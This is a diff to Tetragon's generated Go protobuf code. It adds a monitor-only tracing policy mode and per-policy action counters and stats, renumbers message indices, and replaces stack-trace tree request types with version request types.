map[string]int32{ - "TP_MODE_UNKNOWN": 0, - "TP_MODE_ENFORCE": 1, - "TP_MODE_MONITOR": 2, + "TP_MODE_UNKNOWN": 0, + "TP_MODE_ENFORCE": 1, + "TP_MODE_MONITOR": 2, + "TP_MODE_MONITOR_ONLY": 3, } ) @@ -428,6 +432,167 @@ func (*ListTracingPoliciesRequest) Descriptor() ([]byte, []int) { return file_tetragon_sensors_proto_rawDescGZIP(), []int{3} } +type TracingPolicyActionCounters struct { + state protoimpl.MessageState `protogen:"open.v1"` + // number of post events generated from the policy + Post uint64 `protobuf:"varint,1,opt,name=post,proto3" json:"post,omitempty"` + // number of signals sent from the policy + Signal uint64 `protobuf:"varint,2,opt,name=signal,proto3" json:"signal,omitempty"` + // number of signals that were not sent because the policy was in monitor mode + MonitorSignal uint64 `protobuf:"varint,3,opt,name=monitor_signal,json=monitorSignal,proto3" json:"monitor_signal,omitempty"` + // number of return overrides + Override uint64 `protobuf:"varint,4,opt,name=override,proto3" json:"override,omitempty"` + // number of return overrides that did not occur because the policy was in monitor mode + MonitorOverride uint64 `protobuf:"varint,5,opt,name=monitor_override,json=monitorOverride,proto3" json:"monitor_override,omitempty"` + // number of enforcer notifications triggered from the policy + NotifyEnforcer uint64 `protobuf:"varint,6,opt,name=notify_enforcer,json=notifyEnforcer,proto3" json:"notify_enforcer,omitempty"` + // number of enforcer notifications that did not occur because the policy was in monitor mode + MonitorNotifyEnforcer uint64 `protobuf:"varint,7,opt,name=monitor_notify_enforcer,json=monitorNotifyEnforcer,proto3" json:"monitor_notify_enforcer,omitempty"` + // number of set actions triggered from the policy + Set uint64 `protobuf:"varint,8,opt,name=set,proto3" json:"set,omitempty"` + // number of set actions that did not occur because the policy was in monitor mode + MonitorSet uint64 `protobuf:"varint,9,opt,name=monitor_set,json=monitorSet,proto3" json:"monitor_set,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TracingPolicyActionCounters) Reset() { + *x = TracingPolicyActionCounters{} + mi := &file_tetragon_sensors_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TracingPolicyActionCounters) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TracingPolicyActionCounters) ProtoMessage() {} + +func (x *TracingPolicyActionCounters) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_sensors_proto_msgTypes[4] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TracingPolicyActionCounters.ProtoReflect.Descriptor instead. +func (*TracingPolicyActionCounters) Descriptor() ([]byte, []int) { + return file_tetragon_sensors_proto_rawDescGZIP(), []int{4} +} + +func (x *TracingPolicyActionCounters) GetPost() uint64 { + if x != nil { + return x.Post + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetSignal() uint64 { + if x != nil { + return x.Signal + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetMonitorSignal() uint64 { + if x != nil { + return x.MonitorSignal + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetOverride() uint64 { + if x != nil { + return x.Override + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetMonitorOverride() uint64 { + if x != nil { + return x.MonitorOverride + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetNotifyEnforcer() uint64 { + if x != nil { + return x.NotifyEnforcer + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetMonitorNotifyEnforcer() uint64 { + if x != nil { + return x.MonitorNotifyEnforcer + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetSet() uint64 { + if x != nil { + return x.Set + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetMonitorSet() uint64 { + if x != nil { + return x.MonitorSet + } + return 0 +} + +type TracingPolicyStats struct { + state protoimpl.MessageState `protogen:"open.v1"` + ActionCounters *TracingPolicyActionCounters `protobuf:"bytes,1,opt,name=action_counters,json=actionCounters,proto3" json:"action_counters,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TracingPolicyStats) Reset() { + *x = TracingPolicyStats{} + mi := &file_tetragon_sensors_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TracingPolicyStats) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TracingPolicyStats) ProtoMessage() {} + +func (x *TracingPolicyStats) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_sensors_proto_msgTypes[5] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TracingPolicyStats.ProtoReflect.Descriptor instead. +func (*TracingPolicyStats) Descriptor() ([]byte, []int) { + return file_tetragon_sensors_proto_rawDescGZIP(), []int{5} +} + +func (x *TracingPolicyStats) GetActionCounters() *TracingPolicyActionCounters { + if x != nil { + return x.ActionCounters + } + return nil +} + type TracingPolicyStatus struct { state protoimpl.MessageState `protogen:"open.v1"` // id is the id of the policy @@ -453,14 +618,16 @@ type TracingPolicyStatus struct { // the amount of kernel memory in bytes used by policy's sensors non-shared BPF maps (memlock) KernelMemoryBytes uint64 `protobuf:"varint,10,opt,name=kernel_memory_bytes,json=kernelMemoryBytes,proto3" json:"kernel_memory_bytes,omitempty"` // current mode of the tracing policy - Mode TracingPolicyMode `protobuf:"varint,11,opt,name=mode,proto3,enum=tetragon.TracingPolicyMode" json:"mode,omitempty"` + Mode TracingPolicyMode `protobuf:"varint,11,opt,name=mode,proto3,enum=tetragon.TracingPolicyMode" json:"mode,omitempty"` + // stats of the tracing policy + Stats *TracingPolicyStats `protobuf:"bytes,12,opt,name=stats,proto3,oneof" json:"stats,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } func (x *TracingPolicyStatus) Reset() { *x = TracingPolicyStatus{} - mi := &file_tetragon_sensors_proto_msgTypes[4] + mi := &file_tetragon_sensors_proto_msgTypes[6] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -472,7 +639,7 @@ func (x *TracingPolicyStatus) String() string { func (*TracingPolicyStatus) ProtoMessage() {} func (x *TracingPolicyStatus) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[4] + mi := &file_tetragon_sensors_proto_msgTypes[6] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -485,7 +652,7 @@ func (x *TracingPolicyStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use TracingPolicyStatus.ProtoReflect.Descriptor instead. func (*TracingPolicyStatus) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{4} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{6} } func (x *TracingPolicyStatus) GetId() uint64 { @@ -566,6 +733,13 @@ func (x *TracingPolicyStatus) GetMode() TracingPolicyMode { return TracingPolicyMode_TP_MODE_UNKNOWN } +func (x *TracingPolicyStatus) GetStats() *TracingPolicyStats { + if x != nil { + return x.Stats + } + return nil +} + type ListTracingPoliciesResponse struct { state protoimpl.MessageState `protogen:"open.v1"` Policies []*TracingPolicyStatus `protobuf:"bytes,1,rep,name=policies,proto3" json:"policies,omitempty"` @@ -575,7 +749,7 @@ type ListTracingPoliciesResponse struct { func (x *ListTracingPoliciesResponse) Reset() { *x = ListTracingPoliciesResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[5] + mi := &file_tetragon_sensors_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -587,7 +761,7 @@ func (x *ListTracingPoliciesResponse) String() string { func (*ListTracingPoliciesResponse) ProtoMessage() {} func (x *ListTracingPoliciesResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[5] + mi := &file_tetragon_sensors_proto_msgTypes[7] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -600,7 +774,7 @@ func (x *ListTracingPoliciesResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use ListTracingPoliciesResponse.ProtoReflect.Descriptor instead. func (*ListTracingPoliciesResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{5} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{7} } func (x *ListTracingPoliciesResponse) GetPolicies() []*TracingPolicyStatus { @@ -619,7 +793,7 @@ type AddTracingPolicyRequest struct { func (x *AddTracingPolicyRequest) Reset() { *x = AddTracingPolicyRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[6] + mi := &file_tetragon_sensors_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -631,7 +805,7 @@ func (x *AddTracingPolicyRequest) String() string { func (*AddTracingPolicyRequest) ProtoMessage() {} func (x *AddTracingPolicyRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[6] + mi := &file_tetragon_sensors_proto_msgTypes[8] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -644,7 +818,7 @@ func (x *AddTracingPolicyRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use AddTracingPolicyRequest.ProtoReflect.Descriptor instead. func (*AddTracingPolicyRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{6} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{8} } func (x *AddTracingPolicyRequest) GetYaml() string { @@ -662,7 +836,7 @@ type AddTracingPolicyResponse struct { func (x *AddTracingPolicyResponse) Reset() { *x = AddTracingPolicyResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[7] + mi := &file_tetragon_sensors_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -674,7 +848,7 @@ func (x *AddTracingPolicyResponse) String() string { func (*AddTracingPolicyResponse) ProtoMessage() {} func (x *AddTracingPolicyResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[7] + mi := &file_tetragon_sensors_proto_msgTypes[9] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -687,7 +861,7 @@ func (x *AddTracingPolicyResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use AddTracingPolicyResponse.ProtoReflect.Descriptor instead. func (*AddTracingPolicyResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{7} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{9} } type DeleteTracingPolicyRequest struct { @@ -700,7 +874,7 @@ type DeleteTracingPolicyRequest struct { func (x *DeleteTracingPolicyRequest) Reset() { *x = DeleteTracingPolicyRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[8] + mi := &file_tetragon_sensors_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -712,7 +886,7 @@ func (x *DeleteTracingPolicyRequest) String() string { func (*DeleteTracingPolicyRequest) ProtoMessage() {} func (x *DeleteTracingPolicyRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[8] + mi := &file_tetragon_sensors_proto_msgTypes[10] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -725,7 +899,7 @@ func (x *DeleteTracingPolicyRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteTracingPolicyRequest.ProtoReflect.Descriptor instead. func (*DeleteTracingPolicyRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{8} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{10} } func (x *DeleteTracingPolicyRequest) GetName() string { @@ -750,7 +924,7 @@ type DeleteTracingPolicyResponse struct { func (x *DeleteTracingPolicyResponse) Reset() { *x = DeleteTracingPolicyResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[9] + mi := &file_tetragon_sensors_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -762,7 +936,7 @@ func (x *DeleteTracingPolicyResponse) String() string { func (*DeleteTracingPolicyResponse) ProtoMessage() {} func (x *DeleteTracingPolicyResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[9] + mi := &file_tetragon_sensors_proto_msgTypes[11] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -775,7 +949,7 @@ func (x *DeleteTracingPolicyResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteTracingPolicyResponse.ProtoReflect.Descriptor instead. func (*DeleteTracingPolicyResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{9} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{11} } type EnableTracingPolicyRequest struct { @@ -788,7 +962,7 @@ type EnableTracingPolicyRequest struct { func (x *EnableTracingPolicyRequest) Reset() { *x = EnableTracingPolicyRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[10] + mi := &file_tetragon_sensors_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -800,7 +974,7 @@ func (x *EnableTracingPolicyRequest) String() string { func (*EnableTracingPolicyRequest) ProtoMessage() {} func (x *EnableTracingPolicyRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[10] + mi := &file_tetragon_sensors_proto_msgTypes[12] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -813,7 +987,7 @@ func (x *EnableTracingPolicyRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use EnableTracingPolicyRequest.ProtoReflect.Descriptor instead. func (*EnableTracingPolicyRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{10} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{12} } func (x *EnableTracingPolicyRequest) GetName() string { @@ -838,7 +1012,7 @@ type EnableTracingPolicyResponse struct { func (x *EnableTracingPolicyResponse) Reset() { *x = EnableTracingPolicyResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[11] + mi := &file_tetragon_sensors_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -850,7 +1024,7 @@ func (x *EnableTracingPolicyResponse) String() string { func (*EnableTracingPolicyResponse) ProtoMessage() {} func (x *EnableTracingPolicyResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[11] + mi := &file_tetragon_sensors_proto_msgTypes[13] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -863,7 +1037,7 @@ func (x *EnableTracingPolicyResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use EnableTracingPolicyResponse.ProtoReflect.Descriptor instead. func (*EnableTracingPolicyResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{11} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{13} } type DisableTracingPolicyRequest struct { @@ -876,7 +1050,7 @@ type DisableTracingPolicyRequest struct { func (x *DisableTracingPolicyRequest) Reset() { *x = DisableTracingPolicyRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[12] + mi := &file_tetragon_sensors_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -888,7 +1062,7 @@ func (x *DisableTracingPolicyRequest) String() string { func (*DisableTracingPolicyRequest) ProtoMessage() {} func (x *DisableTracingPolicyRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[12] + mi := &file_tetragon_sensors_proto_msgTypes[14] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -901,7 +1075,7 @@ func (x *DisableTracingPolicyRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DisableTracingPolicyRequest.ProtoReflect.Descriptor instead. func (*DisableTracingPolicyRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{12} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{14} } func (x *DisableTracingPolicyRequest) GetName() string { @@ -926,7 +1100,7 @@ type DisableTracingPolicyResponse struct { func (x *DisableTracingPolicyResponse) Reset() { *x = DisableTracingPolicyResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[13] + mi := &file_tetragon_sensors_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -938,7 +1112,7 @@ func (x *DisableTracingPolicyResponse) String() string { func (*DisableTracingPolicyResponse) ProtoMessage() {} func (x *DisableTracingPolicyResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[13] + mi := &file_tetragon_sensors_proto_msgTypes[15] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -951,7 +1125,7 @@ func (x *DisableTracingPolicyResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DisableTracingPolicyResponse.ProtoReflect.Descriptor instead. func (*DisableTracingPolicyResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{13} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{15} } type ConfigureTracingPolicyRequest struct { @@ -966,7 +1140,7 @@ type ConfigureTracingPolicyRequest struct { func (x *ConfigureTracingPolicyRequest) Reset() { *x = ConfigureTracingPolicyRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[14] + mi := &file_tetragon_sensors_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -978,7 +1152,7 @@ func (x *ConfigureTracingPolicyRequest) String() string { func (*ConfigureTracingPolicyRequest) ProtoMessage() {} func (x *ConfigureTracingPolicyRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[14] + mi := &file_tetragon_sensors_proto_msgTypes[16] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -991,7 +1165,7 @@ func (x *ConfigureTracingPolicyRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ConfigureTracingPolicyRequest.ProtoReflect.Descriptor instead. func (*ConfigureTracingPolicyRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{14} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{16} } func (x *ConfigureTracingPolicyRequest) GetName() string { @@ -1030,7 +1204,7 @@ type ConfigureTracingPolicyResponse struct { func (x *ConfigureTracingPolicyResponse) Reset() { *x = ConfigureTracingPolicyResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[15] + mi := &file_tetragon_sensors_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1042,7 +1216,7 @@ func (x *ConfigureTracingPolicyResponse) String() string { func (*ConfigureTracingPolicyResponse) ProtoMessage() {} func (x *ConfigureTracingPolicyResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[15] + mi := &file_tetragon_sensors_proto_msgTypes[17] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1055,7 +1229,7 @@ func (x *ConfigureTracingPolicyResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use ConfigureTracingPolicyResponse.ProtoReflect.Descriptor instead. func (*ConfigureTracingPolicyResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{15} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{17} } type RemoveSensorRequest struct { @@ -1067,7 +1241,7 @@ type RemoveSensorRequest struct { func (x *RemoveSensorRequest) Reset() { *x = RemoveSensorRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[16] + mi := &file_tetragon_sensors_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1079,7 +1253,7 @@ func (x *RemoveSensorRequest) String() string { func (*RemoveSensorRequest) ProtoMessage() {} func (x *RemoveSensorRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[16] + mi := &file_tetragon_sensors_proto_msgTypes[18] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1092,7 +1266,7 @@ func (x *RemoveSensorRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use RemoveSensorRequest.ProtoReflect.Descriptor instead. func (*RemoveSensorRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{16} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{18} } func (x *RemoveSensorRequest) GetName() string { @@ -1110,7 +1284,7 @@ type RemoveSensorResponse struct { func (x *RemoveSensorResponse) Reset() { *x = RemoveSensorResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[17] + mi := &file_tetragon_sensors_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1122,7 +1296,7 @@ func (x *RemoveSensorResponse) String() string { func (*RemoveSensorResponse) ProtoMessage() {} func (x *RemoveSensorResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[17] + mi := &file_tetragon_sensors_proto_msgTypes[19] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1135,7 +1309,7 @@ func (x *RemoveSensorResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use RemoveSensorResponse.ProtoReflect.Descriptor instead. func (*RemoveSensorResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{17} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{19} } type EnableSensorRequest struct { @@ -1147,7 +1321,7 @@ type EnableSensorRequest struct { func (x *EnableSensorRequest) Reset() { *x = EnableSensorRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[18] + mi := &file_tetragon_sensors_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1159,7 +1333,7 @@ func (x *EnableSensorRequest) String() string { func (*EnableSensorRequest) ProtoMessage() {} func (x *EnableSensorRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[18] + mi := &file_tetragon_sensors_proto_msgTypes[20] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1172,7 +1346,7 @@ func (x *EnableSensorRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use EnableSensorRequest.ProtoReflect.Descriptor instead. func (*EnableSensorRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{18} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{20} } func (x *EnableSensorRequest) GetName() string { @@ -1190,7 +1364,7 @@ type EnableSensorResponse struct { func (x *EnableSensorResponse) Reset() { *x = EnableSensorResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[19] + mi := &file_tetragon_sensors_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1202,7 +1376,7 @@ func (x *EnableSensorResponse) String() string { func (*EnableSensorResponse) ProtoMessage() {} func (x *EnableSensorResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[19] + mi := &file_tetragon_sensors_proto_msgTypes[21] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1215,7 +1389,7 @@ func (x *EnableSensorResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use EnableSensorResponse.ProtoReflect.Descriptor instead. func (*EnableSensorResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{19} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{21} } type DisableSensorRequest struct { @@ -1227,7 +1401,7 @@ type DisableSensorRequest struct { func (x *DisableSensorRequest) Reset() { *x = DisableSensorRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[20] + mi := &file_tetragon_sensors_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1239,7 +1413,7 @@ func (x *DisableSensorRequest) String() string { func (*DisableSensorRequest) ProtoMessage() {} func (x *DisableSensorRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[20] + mi := &file_tetragon_sensors_proto_msgTypes[22] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1252,7 +1426,7 @@ func (x *DisableSensorRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DisableSensorRequest.ProtoReflect.Descriptor instead. func (*DisableSensorRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{20} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{22} } func (x *DisableSensorRequest) GetName() string { @@ -1270,7 +1444,7 @@ type DisableSensorResponse struct { func (x *DisableSensorResponse) Reset() { *x = DisableSensorResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[21] + mi := &file_tetragon_sensors_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1282,7 +1456,7 @@ func (x *DisableSensorResponse) String() string { func (*DisableSensorResponse) ProtoMessage() {} func (x *DisableSensorResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[21] + mi := &file_tetragon_sensors_proto_msgTypes[23] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1295,31 +1469,30 @@ func (x *DisableSensorResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DisableSensorResponse.ProtoReflect.Descriptor instead. func (*DisableSensorResponse) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{21} + return file_tetragon_sensors_proto_rawDescGZIP(), []int{23} } -type GetStackTraceTreeRequest struct { +type GetVersionRequest struct { state protoimpl.MessageState `protogen:"open.v1"` - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } -func (x *GetStackTraceTreeRequest) Reset() { - *x = GetStackTraceTreeRequest{} - mi := &file_tetragon_sensors_proto_msgTypes[22] +func (x *GetVersionRequest) Reset() { + *x = GetVersionRequest{} + mi := &file_tetragon_sensors_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } -func (x *GetStackTraceTreeRequest) String() string { +func (x *GetVersionRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*GetStackTraceTreeRequest) ProtoMessage() {} +func (*GetVersionRequest) ProtoMessage() {} -func (x *GetStackTraceTreeRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_sensors_proto_msgTypes[22] +func (x *GetVersionRequest) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_sensors_proto_msgTypes[24] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1330,40 +1503,33 @@ func (x *GetStackTraceTreeRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use GetStackTraceTreeRequest.ProtoReflect.Descriptor instead. -func (*GetStackTraceTreeRequest) Descriptor() ([]byte, []int) { - return file_tetragon_sensors_proto_rawDescGZIP(), []int{22} -} - -func (x *GetStackTraceTreeRequest) GetName() string { - if x != nil { - return x.Name - } - return "" +// Deprecated: Use GetVersionRequest.ProtoReflect.Descriptor instead. +func (*GetVersionRequest) Descriptor() ([]byte, []int) { + return file_tetragon_sensors_proto_rawDescGZIP(), []int{24} } -type GetStackTraceTreeResponse struct { +type GetVersionResponse struct { state protoimpl.MessageState `protogen:"open.v1"` - Root *StackTraceNode `protobuf:"bytes,1,opt,name=root,proto3" json:"root,omitempty"` + Version string `protobuf:"bytes,1,opt,name=version,proto3" json:"version,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } -func (x *GetStackTraceTreeResponse) Reset() { - *x = GetStackTraceTreeResponse{} - mi := &file_tetragon_sensors_proto_msgTypes[23] +func (x *GetVersionResponse) Reset() { + *x = 